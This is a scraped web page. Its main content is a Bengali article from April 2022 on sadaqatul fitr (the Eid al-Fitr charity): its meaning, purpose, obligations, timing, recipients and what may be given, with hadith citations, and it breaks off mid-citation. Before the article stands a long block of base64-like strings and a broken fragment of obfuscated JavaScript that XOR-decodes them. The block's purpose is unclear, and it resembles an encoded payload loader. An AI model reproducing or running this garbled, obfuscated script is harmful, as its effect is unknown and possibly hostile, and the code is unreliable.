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","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

ফিতরা: সাদকাতুল ফিতর কী, কেন দিতে হয় এবং এর নিয়ম ও উপকারিতা কী?

০৮:২৬:১৭ অপরাহ্ন, বুধবার, ২০ এপ্রিল ২০২২

ইসলাম আমাদের সম্প্রীতি  ও সহমর্মিতার শিক্ষা দেয়। রমাদানের এক মাস সিয়াম সাধনার পর আসে পবিত্র ইদ-উল-ফিতর। ধনী-গরিব সকলে মিলে যেন সমানভাবে ইদের  আনন্দ উপভোগ করতে পারে তারজন্য ইসলাম ব্যবস্থা করেছে সাদাকাতুল ফিতর নামে একটি দানের খাত। এই দানকে বলা হয় সাওমের কাফফারা বা জাকাত। আজ আমরা ফিতরা নামে যে দানের পদ্ধতি ইসলামে রয়েছে তার সম্পর্কে বিস্তারিত জানবো ইনশা-আল্লাহ।

সাদকাতুল ফিতর কী?

ফেতরা আরবি শব্দ, যা ইসলামে জাকাতুল ফিতর (ফিতরের জাকাত) বা সাদাকাতুল ফিতর (ফিতরের সদকা) ইত্যাদি নামে পরিচিত। সদকা মানে দান, ফিতর মানে রোজার সমাপন বা শেষ। ফিতর বা ফাতুর বলতে সকালের খাদ্যদ্রব্যকেও বোঝানো হয় যা দ্বারা সাওম পালনকারীরা তাদের সাওম ভঙ্গ করেন।

সুতরাং সাদকাতুল ফিতরা হলো ঐ সব খাদ্যবস্তু দান করা যা দ্বারা সিয়াম পালনকারী তাদের সাওম ভঙ্গ করতেন। সোজা কথায় ফিতরা হলো এমন খাদ্যসামগ্রী দান করা যা দ্বারা গরিব দুঃখীরা ইদের দিনে খেয়ে খুশি হয়। আর এই দান প্রতিটি সাওম পালনকারীকেই প্রদান করতে হবে।

সাদকাতুল ফিতর কেন দিতে হয়?

ইসলামে সম্পদের পবিত্রতার জন্য যেমন জাকাত (দান) দিতে হয়, ঠিক তেমনি রমাদানের সিয়ামের পবিত্রতার জন্য সাদকাতুল ফিতর (দান) দিতে হয়। আরও সহজ করে বললে বলতে হয়, পবিত্র রমাদানে সিয়াম পালন করতে গিয়ে প্রতিটি মানুষেরই অবচেতনমনে কোনো না কোনো ভাবে সিয়ামের অনেক সাধারণ ভুলত্রুটি (যেমনঃ সাওমে অবাঞ্ছনীয় অসারতা, গীবত করা, অশ্লীল কথাবার্তা, গালাগালি করাসহ নানান ছোটখাটো সগিরা গুনাহ) হয়ে থাকে। সিয়াম পালন করতে গিয়ে সেই ত্রুটি-বিচ্যুতিরই ক্ষতিপূরণ ও সংশোধনী হচ্ছে সাদকাতুল ফিতর। যা আল্লাহ রাব্বুল আলামিনের পক্ষ থেকে নির্ধারিত দানের একটি ইবাদত। জাকাত যেমন অর্থ-সম্পদকে  পবিত্র করে, ঠিক তেমনি ফিতরাও সাওমকে পবিত্র করে।

হাদিস শরিফে বর্ণিত আছে, “সদকাতুল ফিতর দ্বারা সাওম  পালনের সকল দোষত্রুটি দূরীভূত হয়, গরিবের পানাহারের ব্যবস্থা হয়।” -আবু দাউদ

উপর্যুক্ত হাদিস থেকে বুঝা যাচ্ছে সদকাতুল ফিতরের উদ্দেশ্য শুধু ‘গরিবদের ইদের খুশিতে শরিক করা’ বলে যে ধারণা প্রচলিত রয়েছে সেটা মিথ্যা। বরং এই দানের ফলে আমাদের সিয়াম সমূহের কাফফারা আদায় হয়। যা আল্লাহর পক্ষ থেকে উপহার স্বরূপ হিজরির দ্বিতীয় সালে শা’বান মাসে বিধিবদ্ধ হয়।

কাদের উপর ফিতরা ওয়াজিব

ফিতরা সেই মুসলিমের উপর ফরয যে ব্যক্তির ইদের রাত ও দিনে নিজের এবং পরিবারের আহারের প্রয়োজনের চেয়ে অতিরিক্ত খাদ্য মজুদ থাকে। আর এই সাদকা হিসাবের ক্ষেত্রে প্রতিটি মানুষকেই হিসাবে রাখতে হবে। 

একটি পরিবারে স্বাধীন ও ক্রীতদাস, পুরুষ ও নারী, ছোট,  বড়,  বাচ্চা, ধনী ও গরিব, শহরবাসী ও মরুবাসী সিয়াম পালনকারী, ভঙ্গকারী ইত্যাদির মাঝে কোন পার্থক্য নেই। এক কথায় এ দান পরিবারের সকল সদস্যকে হিসাবে রেখে, পরিবারে যতজন সদস্য আছে ততজনের ফিতরা আদায় করতে হবে।  সাদকাতুল ফিতর ফরয হওয়ার জন্য জাকাতের সমপরিমাণ নিসাব হওয়া শর্ত নয়। যেহেতু তা ব্যক্তির উপর ফরয, সম্পদের উপর নয়।

সদকায়ে ফিতর আদায়ের সময়

সাদকাতুল ফিতর আদায়ের ফজিলতপূর্ণ সময় হলো ইদের দিন সূর্যোদয়ের পর থেকে ইদের সালাতের পূর্ব পর্যন্ত। ইদের দু একদিন পূর্বেও ফিতরা আদায় করা জায়েয।  কেননা সাহাবায়ে কেরাম এরূপ করেছেন। ইদের নামাজের পর সদকায়ে ফিতর আদায় করা শুদ্ধ নয়। 

ইবনু উমার (রা.) বলেন, “নবী (সাল্লাল্লাহু আলাইহে ওয়াসাল্লাম) লোকেদের ইদের নামাজের জন্য বের হওয়ার পূর্বে ফিতরার জাকাত আদায় দেওয়ার আদেশ দিয়েছেন” (বুখারী ১৫০৯)। সুতরাং ইদের দিন ফিতরা আদায় করা সর্বোত্তম। 

ইবনে আব্বাস রা: থেকে বর্ণিত এক হাদিসে এসেছে, “যে ব্যক্তি নামাজের আগে তা আদায় করে দেবে তবে তার সদকা গ্রহণযোগ্য হবে, আর যে নামাজের পর আদায় করবে তার সদকা সাধারণ দান বলে গণ্য হবে (আবু দাউদ)”।

অর্থাৎ কেউ ইদের জামাতের পর ফিতরা আদায় করলে তা সাধারণ দানে পরিনত হবে। সাদকাতুল ফিতরের যে নেকী, সেই নেকী আর পাওয়া যাবে না। 

তাই ফিতরার খাদ্য ইদের সালাতের আগেই বন্টন করা ওয়াজিব। ইদের সালাত পর্যন্ত দেরি করা উত্তম নয়। বরঞ্চ ইদের এক বা দুই দিন আগে আদায় করলেও অসুবিধা নেই। আলেমদের বিশুদ্ধ অভিমত হলো,  ফিতরা আদায় করার সময় শুরু হয় ২৮ শে রমাদান থেকে। কারণ রমাদান মাস ২৯ দিনও হতে পারে। আবার ৩০ দিনও হতে পারে। তাই ইদের আগে দিলে গরিব দুঃখীরা আগে থেকেই ইদের আনন্দে শরীক হতে পারে।

রাসূলুল্লাহ  সাল্লাল্লাহু আলাইহি ওয়া সাল্লামের সাহাবীগণ ফিতরা ইদের একদিন বা দুই দিন আগে আদায় করতেন। এছাড়া ফিতরা আদায়ের সময় যাতে সংকীর্ণ না হয়, সেইজন্য ইদুল ফিতরের সালাত সামান্য দেরীতে পড়া উত্তম। এতেকরে ফিতরা আদায়ের যথেষ্ট সময় পাওয়া যায়।

কে ফিতরা পাবে?

কারা ফিতরা পাওয়ার যোগ্য বা কোন কোন প্রকারের লোক ফিতরা নিতে পারবে?  এ বিষয়ে আলেমদের মধ্যে কিছু মতভেদ রয়েছে।

একদল আলেম মনে করেন, যারা সাধারণ সম্পদের জাকাতের হকদার তারাই সাদকাতুল ফিতরার হকদার। তাদের দলিল হলো, ফিতরাকে রাসুল (সা.) জাকাত ও সাদাকা বলেছেন। তাই যেটা সম্পদের জাকাতের খাত হবে, সেটা ফিতরারও খাত হবে। সাদাকার যেই খাত আল্লাহ সুরা তওবায় উল্লেখ করেছেন সেই খাদ সাদাকাতুল ফিতরের জন্যও হবে।

সুতরাং সেই হিসাবে আট প্রকারের লোক হলো, আল্লাহ্ বলেন, “জাকাত হল কেবল ফকির, মিসকীন, জাকাত আদায় কারী ও যাদের চিত্ত আকর্ষণ প্রয়োজন তাদের হক এবং তা দাস-মুক্তির জন্যে-ঋণ গ্রস্তদের জন্য, আল্লাহর পথে জেহাদকারীদের জন্যে এবং মুসাফিরদের জন্যে, এই হল আল্লাহর নির্ধারিত বিধান। আল্লাহ সর্বজ্ঞ, প্রজ্ঞাময়। (সুরা: আত তাওবাহ, আয়াত: ৬০)

অন্য এক দল আলেম মনে করেন, সাদাকাতুল ফিতর বা ফিতরা কেবল ফকির মিসকিনদের হক, অন্যান্যদের নয়। তাদের  দলিল হলো, ইবনে আব্বাস (রা.) এর হাদিস, তিনি বলেন, “আল্লাহর রাসূল ফিতরের জাকাত (ফিতরা) ফরজ করেছেন রোজাদারের অশ্লীলতা ও বাজে কথা-বার্তা হতে পবিত্রতা এবং মিসকিনদের আহার স্বরূপ …” (আবু দাউদ, জাকাতুল ফিতর নম্বর ১৬০৬/ হাদিস হাসান, ইরওয়াউল গালীল নম্বর ৮৪৩)

সুতরাং উপরোক্ত হাদিসেই স্পষ্ট আছে যে, মিসকিনদের তথা, গরিব, দুঃস্থ, অসহায়, অভাবগ্রস্থকেই  ফিতরা প্রদান করা যাবে।

উপরোক্ত মতকে সমর্থন জানিয়েছেন ইবনে তাইমিয়্যাহ, ইবনুল কাইয়ুম শাওকানী, আযীমাবাদী, ইবনু উসাইমীনসহ আরো অনেকে। ( মাজমুউ ফাতাওয়া ২৫/৭৩,যাদুল মাআদ ২/২২, নায়লুল আউত্বার ৩-৪/৬৫৭, আওনুল মা’বূদ ৫-৬/৩, শারহুল মুমতি ৬/১৮৪)

অধিকাংশ আলেম উলামাদের মতে এই মতটিই অধিক সহীহ কারণ, এই মতের পক্ষে স্পষ্ট দলিল বিদ্যমান। আর প্রথম মতটি একটি কিয়াস (অনুমান) মাত্র। আর দলিলের বিপরীতে কিয়াস বৈধ নয়।

ফিতরাকে জাকাত সম্বোধন করলেও উভয়ের মধ্যে যথেষ্ট পার্থক্য রয়েছে। যেমন— ফিতরা এমন ব্যক্তির উপরও ওয়াজিব যার বাড়িতে সামান্য কিছু খাবার আছে মাত্র। কিন্তু জাকাত কেবল তার উপর ফরজ যার নিসাব পরিমাণ অর্থ- সম্পদ রয়েছে। জাকাত বাৎসরিক জমাকৃত  ধন-সম্পদের কারণে দিতে হয়।আর  ফিতরা সাওমের ত্রুটি বিচ্যুতির কারণে দিতে হয়। এসব কারণে ফিতরা ও জাকাতকে কখনোই  এক মনে করা যাবে না।

এছাড়া সাদাকা শব্দটি দানের ব্যাপক অর্থ ব্যহৃত হয়। যেকারণে ফিতরাকে সাদাকা বলা হয়েছে। তাছাড়া জাকাত, ফিতরা এবং সাধারণ দানকেও সাদাকা বলা হয়। সুতরাং সাদাকা বললেই যে তা  জাকাতকে বুঝাবে তা নয়। 

যেমন রাসুলুল্লাহ (সা.) বলেন, ‘কুল্লু মা’রুফিন সাদাকা’ অর্থাৎ প্রত্যেক ভালো কাজ সদকা। তবে নি:সন্দেহে প্রত্যেক ভালো কাজ জাকাত নয়। তবুও রাসুলুল্লাহ (সা.) তা সাদাকা বলেছেন। তাই ফিতরাকে সাদাকা বলার কারণে তা জাকাতের অন্তর্ভুক্ত হবে না।

এছাড়া উল্লেখ্য যে, ফিতরার খাদ্যসমূহের মধ্যে মসজিদ, মাদ্রাসা অন্তর্ভূক্ত নয়। তবে মাদরাসার ছাত্র, শিক্ষক এবং মসজিদের ইমাম যদি ফকির মিসকিনদের অন্তর্ভুক্ত হয়, তাহলে তারা ফিতরার হকদার হবেন। বরং তারা অন্যান্য ফকির মিসকীনদের থেকেও বেশি হকদার হবেন। কেননা এরা দ্বীনের শিক্ষা অর্জনে ও অন্যকে শিক্ষা দানে নিয়োজিত, যে গুণটি অন্যান্য ফকির মিসকিনদের নেই। 

কী দিয়ে ফিতরা দিতে হয়? 

আমাদের উপমহাদেশে টাকা দিয়ে ফিতরা আদায় করা হলেও হাদিসে খাদ্য দ্রব্য দ্বারা ফিতরা আদায়ের কথা এসেছে।  

আবু সাইদ আল-খুদরি (রা.) থেকে বর্ণিত:

“রাসুলুল্লাহ (সাল্লাল্লাহু ‘আলাইহি ওয়া সাল্লাম) আমাদের মাঝে বর্তমান থাকা অবস্থায় আমরা সাদকাতুল ফিতর বাবদ এক সা‘ খাদ্য (গম) বা এক সা‘ খেজুর বা এক সা‘ যব বা এক সা‘ পনির অথবা এক সা‘ কিসমিস দান করতাম। আমরা অব্যাহতভাবে এ নিয়মই পালন করে আসছিলাম। অবশেষে মুআবিয়াহ (রা.) মদিনায় আমাদের নিকট আসেন এবং লোকেদের সাথে আলোচনা প্রসঙ্গে বলেন, আমি শাম দেশের উত্তম গমের দু’ মুদ্দ পরিমাণকে এখানকার এক সা‘র সমান মনে করি। তখন থেকে লোকেরা এ কথাটিকেই গ্রহণ করে নিলো। আবু সাইদ (রা.) বলেন, আমি কিন্তু সারা জীবন ঐ হিসাবেই সদকাতুল ফিতর পরিশোধ করে যাবো, যে হিসাবে আমি রসূলুল্লাহ (সাল্লাল্লাহু ‘আলাইহি ওয়া সাল্লাম)-এর যুগে তা পরিশোধ করতাম। (সুনানে ইবনে মাজাহ-১৮২৯, বুখারি ১৫০৫, ১৫০৬, ১৫০৮, ১৫১০, মুসলিম ৯৮৫, তিরমিজি ৬৭৩, নাসায়ি ২৫১১, ২৫১২, ২৫১৩, ২৫১৪, ২৫১৭, ২৫১৮, আবু দাউদ ১৬১৬, ১৬১৮, আহমাদ ১০৭৯৮, ১১৩০১, ১১৫২২, দারেমী ১৬৬৩, ১৬৬৪, সহিহ আবু দাউদ ১৪৩৩, 